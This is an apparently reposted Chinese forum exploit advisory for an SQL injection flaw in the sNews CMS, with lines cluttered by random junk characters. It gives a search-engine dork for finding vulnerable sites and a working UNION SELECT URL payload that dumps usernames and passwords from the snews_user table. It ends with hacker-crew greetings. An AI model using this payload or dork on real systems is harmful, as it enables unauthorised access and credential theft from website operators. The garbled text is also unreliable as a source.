标题: CMS snews SQL Injection Vulnerability
; S4 f9 ?- O& I0 ~8 |% f1 h0 H9 d. \作者: By onestree' M0 m! b1 }& R! l ?) w/ M" I
下载地址 : http://snewscms.com/
5 N- o$ y5 Y6 m! w测试平台 : ubuntu 12.10 / win 7
$ Q3 `; }7 ~- m& z* M关键词: inurl:"tanyakan pada rumput yang bergoyang". ], D0 |! N. z
; e9 m/ I+ B& l. Z5 E I# @
% Y4 Y6 j1 B2 L*************************************************************1 T6 c/ L- o: V
) j1 X: m8 h2 D4 cSQL poc:6 j; @5 O+ C# I
, ^; Y7 L7 {8 {2 w+ C' z0 M* {http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
$ I4 a. }3 q7 e8 {
7 B' D6 h8 L! m) k示例$ |. T# W5 V- Q
! o, [8 D" t* O) K2 T
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*6 ?( A3 q. c# l: @7 R4 d5 I
, f0 w+ Z' d& c. z! ~+ t
/ f) }) h: S, A' K! i- Q3 J
致谢:
( E* ~, V+ ~4 J8 m: b8 ^" J' p ' P. |% T' ?9 Y# r w4 I& x
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
0 p4 R$ E4 t, z: `, C$ [) n 5 x( T" }8 a- R. d
indonesiancoder - moeslimh4x0r - go-coder2 J9 m. L0 \* E% Y1 V
9 z' @1 m, t/ L9 h8 T% R" Ispesial my hunny :*) u' m$ [5 Q& d( K, g4 N# k- k1 i, G
|
发表于 2013-1-23 08:55:06
收藏
支持
反对